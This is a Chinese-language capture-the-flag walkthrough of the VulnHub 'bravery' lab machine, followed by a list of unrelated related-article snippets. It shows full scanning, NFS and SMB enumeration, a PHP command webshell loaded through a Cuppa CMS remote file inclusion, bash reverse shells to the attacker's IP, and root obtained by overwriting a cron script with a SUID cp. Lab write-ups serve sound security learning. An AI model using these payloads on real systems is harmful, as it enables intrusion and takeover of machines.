vulnhub靶场之【digitalworld.local系列】的bravery靶机

前言

靶机:digitalworld.local-bravery,IP地址为192.168.10.8

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机采用virtualbox虚拟机,网卡都为桥接模式

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware挂载磁盘,也给出了iso镜像文件

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://download.vulnhub.com/digitalworld/bravery-improved.7z

或者通过网盘下载https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.10.8 -p- -T4

这是全面扫描,不过尽量更详细一点,先扫描tcp端口

nmap -sT 192.168.10.8 -p- -T4 -oA nmap_tcp

扫描udptop20端口

nmap -sU 192.168.10.8 --top-ports 20 -T4

这里的udptcp端口处于open的无差,所以,采用tcp的端口,并进行端口选择

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','

再对这些端口进行深一步的检测,比如检测服务等

ports=22,53,80,111,139,443,445,2049,3306,8080,20048,37191,49742
nmap -sV -O -sC -sT 192.168.10.8 -p $ports -oA detail

再通过nmap的脚本扫描有无漏洞

nmap --script=vuln -p $ports -oA vuln

根据以上收集的信息,有网站,有smb等,那么就一步一步来,大部分靶机都是从web开始,一步步推进

网站信息收集

80端口网站探测

访问80端口的网站,并未有内容,应该是测试网站

查看页面源代码后,也并未有信息,使用浏览器插件wappalyzer或者whatweb测试该网站,发现具有php语言,采用apache,与前面nmap扫描收集的信息一样

那么针对该80网站进行网站目录爆破,这里采用gobuster工具,也可以使用其他工具,很多

gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

这里的/0/9都只是数字,访问README.txt,提示努力

访问/about,给出一个链接,并说这里有提示

访问uploads,这里虽然有文件夹,但是里面没有任何东西

再访问phpinfo.php,但是并不是真正的phpinfo界面,是空白

之前给出的链接中,直接访问是不存在的界面,那么进行拼接呢

http://192.168.10.8/1075692/Try-Harder
或
http://192.168.10.8/1075692
或
http://192.168.10.8/Try-Harder

访问后,有一张图片,大概就是说,“还需努力啊,少年!”

既然如此,好嘛,我就转换方向,我去8080网站看看,嘿嘿嘿

8080端口网站探测

访问8080端口默认界面

查看页面源代码,也并未发现隐藏信息

使用gobuster等工具进行目录爆破

gobuster dir -u http://192.168.10.8:8080 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

先访问robots.txt,发现与前面爆破的路径,大部分都是一样的

访问/cgi-bin404.html都是一样的界面显示,不过这里也是得知一些信息,为nignx管理,并且配置文件的路径也给出了

访问private,是以nginx默认的403界面显示

访问public,是一个常见的网站类型

再次对这个网站进行扫描

gobuster dir -u http://192.168.10.8:8080/public -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

发现mail.php,不过访问这个文件,是直接下载的,所以可能这个网站对于php文件并不能解析

访问qwertyuiop.html,发现是一张图片,图片中的英文就是提示

sometimes,what you seek is hiding in planin sight

下载图片,然后使用exiftool、binwalk、steghide等工具查看是否有隐写内容,测试发现并没有

到这里,对于网站探测已经over了,除非就是网站爆破时,字典的问题了

nfs探测

在之前,使用nmap扫描的时候,发现rpcbindnfs,一般这两个都是搭配使用的

那么使用nmap的脚本再进行一次探测

nmap 192.168.10.8 --script=nfs*

有东西,那么进一步深入,使用showmount查看

showmount -e 192.168.10.8

可以看到,目标靶机确实是有,那么尝试直接挂载到kali进行测试是否可行

mkdir share
mount -t nfs 192.168.10.8:/var/nfsshare ./share

但是我查看了所有文件的内容,文件里面的内容,并没有任何有价值的

直到我再次查看,发现qwertyuioplkjhgfdsazxcvbnm这个文件有意思,结合前面password.txt以及其本身的内容来看,我怀疑这是一个密码

smb探测

前面也是有相关的smb服务的开启,所以,需要进一步进行探测的

使用nmap中的脚本探测

nmap 192.168.10.8 --script=smb*

枚举出三个分享IPC$、anonymous、secured

枚举出anonymous分享中,有内容

枚举出两个用户david、rick

再使用enum4linux枚举一下

enum4linux 192.168.10.8 -a

枚举出两个用户,与前面使用nmap一样

枚举出三个分享,也是和前面使用nmap出的结果一样

信息总结

当前获取到的信息有

  1. nfs中的一个可能疑似密码的东西
  2. smb枚举出的三个分享以及两个用户
  3. 网站中并未有明显信息,目前来看,需要从smb着手

密码qwertyuioplkjhgfdsazxcvbnm

分享anonymous、secured

用户david、rick

漏洞寻找

根据前面的信息,尝试连接smb中的分享,可以使用smbclient或者smbmap都可以

smbclient //192.168.10.8/anonymous -N
#-N  是指不使用密码登录,也就是以匿名形式登录

因为readme.txt是英文,为了方便,翻译一下,表示这是一个临时的服务,这种情况在现实中确实有,不过这需要很长的潜伏

然后再次以登录身份进行测试anonymous,发现也是一样的东西

#密码  qwertyuioplkjhgfdsazxcvbnm
smbclient //192.168.10.8/anonymous -U david	#成功登录
smbclient //192.168.10.8/anonymous -U rick	#无法成功登录

那么换另一个分享secured,这里想匿名登录是失败的

#密码 qwertyuioplkjhgfdsazxcvbnm
smbclient //192.168.10.8/secured -U david	#成功登录
smbclient //192.168.10.8/secured -U rick	#无法成功登录

获取三个文件,下载到kali,然后查看内容

查看README.txt文件,这里明确提出了CMS,并且还搞出个单词goodtech

查看david.txt,提到域名,以及一个php的文件路径

查看genevieve.txt文件,这里的信息提到一个地址http://192.168.254.155/genevieve

根据上面收集的信息,构造一些网站的可能性,这里是不包括绑定域名的情况

http://192.168.10.8/devops/directortestpagev1.php
http://192.168.10.8:8080/devops/directortestpagev1.php

http://192.168.10.8/genevieve
http://192.168.10.8:8080/genevieve

先尝试一下,发现访问成功一个,看网站的样子,应该是还在搭建中

把能点的都点了,发现基本上都是页面不存在,不过发现一个功能,点击后,跳转到登录界面

可以看到是CMS

以前面获取的信息,尝试进行登录,发现不行,包括刚获取的goodtech,把所有信息进行拼接,得出的用户名和密码,都无法登录,并且测试登录框,应该不存在注入

漏洞利用

那么使用searchsploit搜索,有无该CMS的漏洞cuppa

searchsploit cuppa

查看文档,发现用法,并且是文件包含,这个应该是cms构建时的代码原因

测试路径,并且确定是否可用,确实可以

那么就在kali本地创建一个php文件,使得其远程包含该文件,然后导致反弹shell

这里先写一个简单的php代码,可执行system的命令

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

把这个代码写入shell.php文件,然后再kali中,使用python开启一个http服务,观察是否可行

注意,一定不要把kali中的http服务关闭,因为远程代码执行需要调用的

可以看到,我们的代码确实通过远程执行了,所以这里就直接通过传参cmd反弹shell

bash -i >& /dev/tcp/192.168.10.6/9999 0>&1
#需要进行url编码
bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.10.6%2f9999%200%3e%261

提权

靶机内信息收集

查看网络连接

ss -antlp

查看ip地址,确定当前是否处在虚拟环境,确实未处于虚拟环境

ip add

查看以root的进程

ps aux | grep root

查看内核版本以及系统版本

uanme -a/-r
cat /etc/issue
cat /etc/*release

使用find寻找具有SUID权限的文件

find - perm -u=s -type f 2>/dev/null

查看定时任务

cat /etc/crontab

查看网站中的配置文件,发现连接数据库的用户名和密码,并且以root连接的

瞬间就让人想到udf提权,不过还是需要进一步验证

查看相关配置,可能确实可以udf提权

不过再尝试进行dumpfile时,这个是被拒绝了,还是不能udf提权

上传一些脚本检测吧,上传pspy64,执行后发现,有一个脚本每5分钟执行一次

定时任务提权

已知,有脚本定时以root身份执行,并且在前面寻找SUID权限文件时,有cp命令,那么就可以创建一个反弹shell的脚本,使用cp覆盖原本的定时任务,就可以获得一个root的反弹shell

#先在kali开启监听
nc -lvnp 1234

#然后执行命令
cd /tmp		#这里可以创建文件
echo "/bin/bash -i >& /dev/tcp/192.168.10.6/1234 0>&1" > 1.sh
cat 1.sh	#确保反弹shell命令写入
/usr/bin/cp 1.sh /var/www/maintenance.sh	#开始使用具有SUID权限的cp进行覆盖
ls -l /var/www		#确保只有一个文件,也就是确保覆盖
cat /var/www/maintenance.sh		#再次确认,内容是否修改

等待一会,即可发现,获取到rootshell,这个时间大概5分钟

总结

该靶机考察几点:

  1. 对于众多信息,要一步步去筛选,不要急躁。这里的网站信息刚开始可能确实没有,所以不要急躁
  2. 对于nfs这个要稍微了解,建议去ai搜索一下,这个经常配合rpcbind出现,并且,靶机内一般都是与showmount和挂载有关
  3. 对于smb服务,要会枚举,这里可以借助nmap的脚本,或者enum4linux或其他工具;枚举出之后,要会找到有用的信息,这里也就是密码的关键寻找
  4. 对于信息,要敏感,比如,如果是目录型网站,出现类似于目录的时候,要会拼接,这里因为出现的少,所以手工拼接即可,若是很多,要会自动化处理,也就是使用代码拼接目录,再通过工具批处理,选出可用的链接
  5. 对于提权,这里在获取到的平常信息,都无法提权时,可以借助工具观察,因为不可能每时每刻观察进程的命令,这也可能不显示
  6. 提权,要思路广,结合起来,这里就是想起cp命令来覆盖root执行的定时任务脚本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/980141.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

探索AIGC的核心原理与应用前景

随着人工智能的迅猛发展&#xff0c;AIGC&#xff08;Artificial Intelligence Generated Content&#xff09;作为一个新兴领域&#xff0c;逐渐引起了广泛关注。它不仅重新定义了创作的方式&#xff0c;还为各行各业带来了诸多变革。本文将深入探讨AIGC的基本原理、技术框架以…

解码中国AI双雄突围:DeepSeek破壁与英伟达反攻背后的算力暗战

一、算力困局下的中国突围术 2024年夏季的科技界暗流涌动&#xff1a;北京中关村的服务器机房里&#xff0c;寒武纪最新MLU300X芯片正以每秒120万亿次运算支撑着自动驾驶系统的实时决策&#xff1b;上海张江的AI实验室中&#xff0c;DeepSeek团队通过神经元分块技术将模型参数压…

C++ Qt OpenGL渲染FFmpeg解码后的视频

本篇博客介绍使用OpenGL渲染FFmpeg解码后的视频,涉及到QOpenGLWidget、QOpenGLFunctions、OpenGL shader以及纹理相关,播放效果如下: 开发环境:Win11 C++ Qt6.8.1、FFmpeg4.0、x64   注意:Qt版本不同时,Qt OpenGL API及用法可能差别比较大,FFmpeg版本不同时API调用可能…

【Linux】进程退出 | 初始缓冲区 | 子进程回收(六)

目录 前言&#xff1a; 一、main函数的返回值 二、退出码有什么用&#xff1f; 三、perror/strerror/erron 四、erron变量 五、exit函数 六、_exit变量 七、初始缓冲区 八、wait函数和folk函数的返回值 九、父进程获取子进程退出信息waitpid函数 1.返回值 2.第一个…

【vscode-解决方案】vscode 无法登录远程服务器的两种解决办法

解决方案一&#xff1a; 查找原因 命令 ps ajx | grep vscode 可能会看到一下这堆信息&#xff08;如果没有大概率不是这个原因导致&#xff09; 这堆信息的含义&#xff1a;当你使用 vscode 远程登录服务器时&#xff0c;我们远程机器服务端要给你启动一个叫做 vscode serv…

制氧机分子筛的材质选择与解析‌

制氧机中的分子筛&#xff0c;是一种可以在分子水平上筛选物质的多孔材料。这种材料的主要成分是人工合成的晶体铝硅酸盐&#xff0c;也被称为沸石材料。 二、常用分子筛材质分析 1. 沸石分子筛 沸石分子筛是目前制氧机中最常用的材质之一。它具有以下显著优点&#xff1a; ‌吸…

如何把网络ip改为动态:全面指南

在数字化时代&#xff0c;网络IP地址作为设备在网络中的唯一标识&#xff0c;扮演着至关重要的角色。随着网络环境的不断变化&#xff0c;静态IP地址的局限性逐渐显现&#xff0c;而动态IP地址则因其灵活性和安全性受到越来越多用户的青睐。那么&#xff0c;如何把网络IP改为动…

如何在docker上部署java服务

目录结构 首先 Dockerfile FROM bladex/alpine-java:openjdk17_cn_slimMAINTAINER admin@rsz.comENV TZ=Asia/ShanghaiRUN ln -sf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezoneRUN mkdir -p /xhWORKDIR /xhEXPOSE 8106ADD ./blade-system.…

进行性核上性麻痹患者的生活护理指南

进行性核上性麻痹是一种神经系统退行性疾病&#xff0c;合理的生活护理能有效改善症状&#xff0c;提高生活质量。 居家环境要安全。移除地面杂物&#xff0c;铺设防滑垫&#xff0c;安装扶手&#xff0c;降低跌倒风险。在浴室、厨房等湿滑区域要特别加强防护措施。建议在床边、…

基于Springboot博物馆文博资源库系统【附源码】

基于Springboot博物馆文博资源库系统 效果如下&#xff1a; 系统登陆页面 文物信息管理页面 流动申请页面 文物报修页面 个人信息页面 文物保修管理页面 系统主页面 文物类型页面 研究背景 随着信息技术的飞速发展&#xff0c;博物馆文博资源的管理与利用日益受到重视。传统…

在Linux环境下利用MTCNN进行人脸检测(基于ncnn架构)

概述 本文将详细介绍如何在Linux环境下部署MTCNN模型进行人脸检测&#xff0c;并使用NCNN框架进行推理。 1. CMake的安装与配置 下载CMake源码 前往CMake官网下载&#xff0c;找到适合您系统的最新版本tar.gz文件链接&#xff0c;或者直接通过wget下载&#xff1a;CMake官方…

Ruby 数组(Array)

一、参数 符号赋值数组对象 时&#xff0c;是指向同一个数组对象 eg: irb(main):019:0> a [] //定义一个数组 > [] irb(main):020:0> b a //将变量a赋值给b&#xff0c;a和b指向同个内存 > [] irb(main):021:0> a.object_id //a的对象id > 25204596 …

【无人机】无人机飞行日志下载及分析,飞行日志分析软件的使用

目录 一、飞行日志下载 1.1 通过地面站下载 1.1.1 QGroundControl&#xff08;QGC&#xff09;地面站 1.1.2 Mission Planner 地面站 1.2 通过内存卡读卡器下载 1.3 通过数传模块下载&#xff08;数传日志&#xff09; 二、飞行日志分析 2.1 使用 Flight Review 分析 …

Coredns延迟NodeLocalDNS解决之道

#作者&#xff1a;邓伟 文章目录 问题列表问题分析&#xff1a;问题分析解决方案详情方案验证部署步骤验证结论回滚方案回滚验证注意事项NodeLocalDNS介绍 问题列表 近来发现K8s频繁出现5s超时问题&#xff0c;业务反馈收到一定影响&#xff0c;问题包括&#xff1a; coredn…

由堆栈异常引发的一系列问题启发

文章目录 背景分析现象排查定位数据比对解决方案反思背景 背景:今天下午初始化经营体数据到预发环境,需要将生产环境的经营体表的数据同步到预发环境,同步结束后。再调用批量禁用接口,目的是将原来一级经营体【中国移动】下的所有经营体禁用掉,然后导入Excel文件将新的省…

[2/11]C#性能优化-不要使用空析构函数-每个细节都有示例代码

前言 在C#开发中&#xff0c;性能优化是提升系统响应速度和资源利用率的关键环节。 当然&#xff0c;同样是所有程序的关键环节。 通过遵循下述建议&#xff0c;可以有效地减少不必要的对象创建&#xff0c;从而减轻GC的负担&#xff0c;提高应用程序的整体性能。记住&#xf…

Llama-factory详细基础使用说明

最近很多小伙伴在使用llama-factory时遇到了不少问题&#xff0c;特别是基础不太好的童鞋&#xff0c;对各种参数或者webui界面的内容不理解&#xff0c;总是一会一个问题&#xff0c;网上大部分的教程&#xff0c;都只是教到能跑起来就行&#xff0c;对于细的调整没有做介绍&a…

excel单、双字节字符转换函数(中英文输入法符号转换)

在Excel中通常使用函数WIDECHAR和ASC来实现单、双字节字符之间的转换。其中 WIDECHAR函数将所有的字符转换为双字节&#xff0c;ASC函数将所有的字符转换为单字节 首先来解释一下单双字节的含义。单字节一般对应英文输入法的输入&#xff0c;如英文字母&#xff0c;英文输入法…

VS Code 如何搭建CC++开发环境

VS Code 如何搭建C/C开发环境 文章目录 VS Code 如何搭建C/C开发环境1. VS Code是什么2. VS Code的下载和安装2.1 下载和安装2.2 环境的介绍 3. VS Code配置C/C开发环境3.1 下载和配置MinGW-w64编译器套件3.2 安装C/C插件3.3 重启VS Code 4. 在VS Code上编写C语言代码并编译成功…

间隙波导阵列天线 学习笔记2 使用加载脊U型辐射层的一种Ka波段高效率圆极化卫星天线的发展

摘要&#xff1a; 本文提出了一种低剖面&#xff0c;高增益背腔槽阵列天线&#xff0c;基于RGW技术&#xff0c;工作在Ka频段。天线阵列包含两层。上层是一个U型槽阵列&#xff0c;在金属脊上腔体的位置上方&#xff0c;同时下层是RGW公共分布网络&#xff0c;给每个背腔槽等辐…